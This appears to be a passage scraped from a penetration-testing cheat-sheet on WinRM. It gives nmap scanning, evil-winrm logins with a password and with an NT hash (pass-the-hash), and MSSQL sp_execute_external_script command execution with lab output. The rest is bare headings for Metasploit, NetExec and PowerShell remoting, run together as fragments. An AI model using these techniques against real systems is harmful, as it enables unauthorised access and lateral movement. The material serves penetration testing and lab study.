WinRM (5985, 5986)
Nmap
nmap -sV -sC 10.129.201.248 -p5985,5986 --disable-arp-ping -nEvil-WinRM
Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error[legacy_sect]
activate = 1evil-winrm -i 10.129.201.248 -u Cry0l1t3 -p P455w0rD!evil-winrm -u "$USER" -H "$NT_HASH" -i "$TARGET"`SQL (hacker dbo@flag)> EXEC sp_execute_external_script @language =N'Python', @script = N'import os; os.system("ipconfig");';
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 0: STDOUT message(s) from external script:
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
IPv6 Address. . . . . . . . . . . : dead:beef::1001
IPv6 Address. . . . . . . . . . . : dead:beef::7912:217c:56e7:f15b
Link-local IPv6 Address . . . . . : fe80::d379:8c3e:971a:5199%8
IPv4 Address. . . . . . . . . . . : 10.13.38.11
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : dead:beef::1
fe80::250:56ff:fe94:1921%8
10.13.38.2
Ethernet adapter Ethernet1 2:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 172.20.128.101
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
Express Edition will continue to be enforced.
SQL (hacker dbo@flag)> EXEC sp_execute_external_script @language =N'Python', @script = N'import os; os.system("hostname");';
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 0: STDOUT message(s) from external script:
COMPATIBILITY
Express Edition will continue to be enforced.
With Kerberos
With docker
Evil-WinRMUpload
Download
Python - evil-winrm-py
Metasploit
MetasploitNetexec - CME
NetExec - CMECommand execution
PSSession
Create a session on a remote computer
List PSSession
Enter-PSSession
Pass Username / password
Execute command or scriptblocks
Winrs
WSMan-WinRM
Resources
Interesting Books
Interesting BooksSupport this Gitbook
Last updated


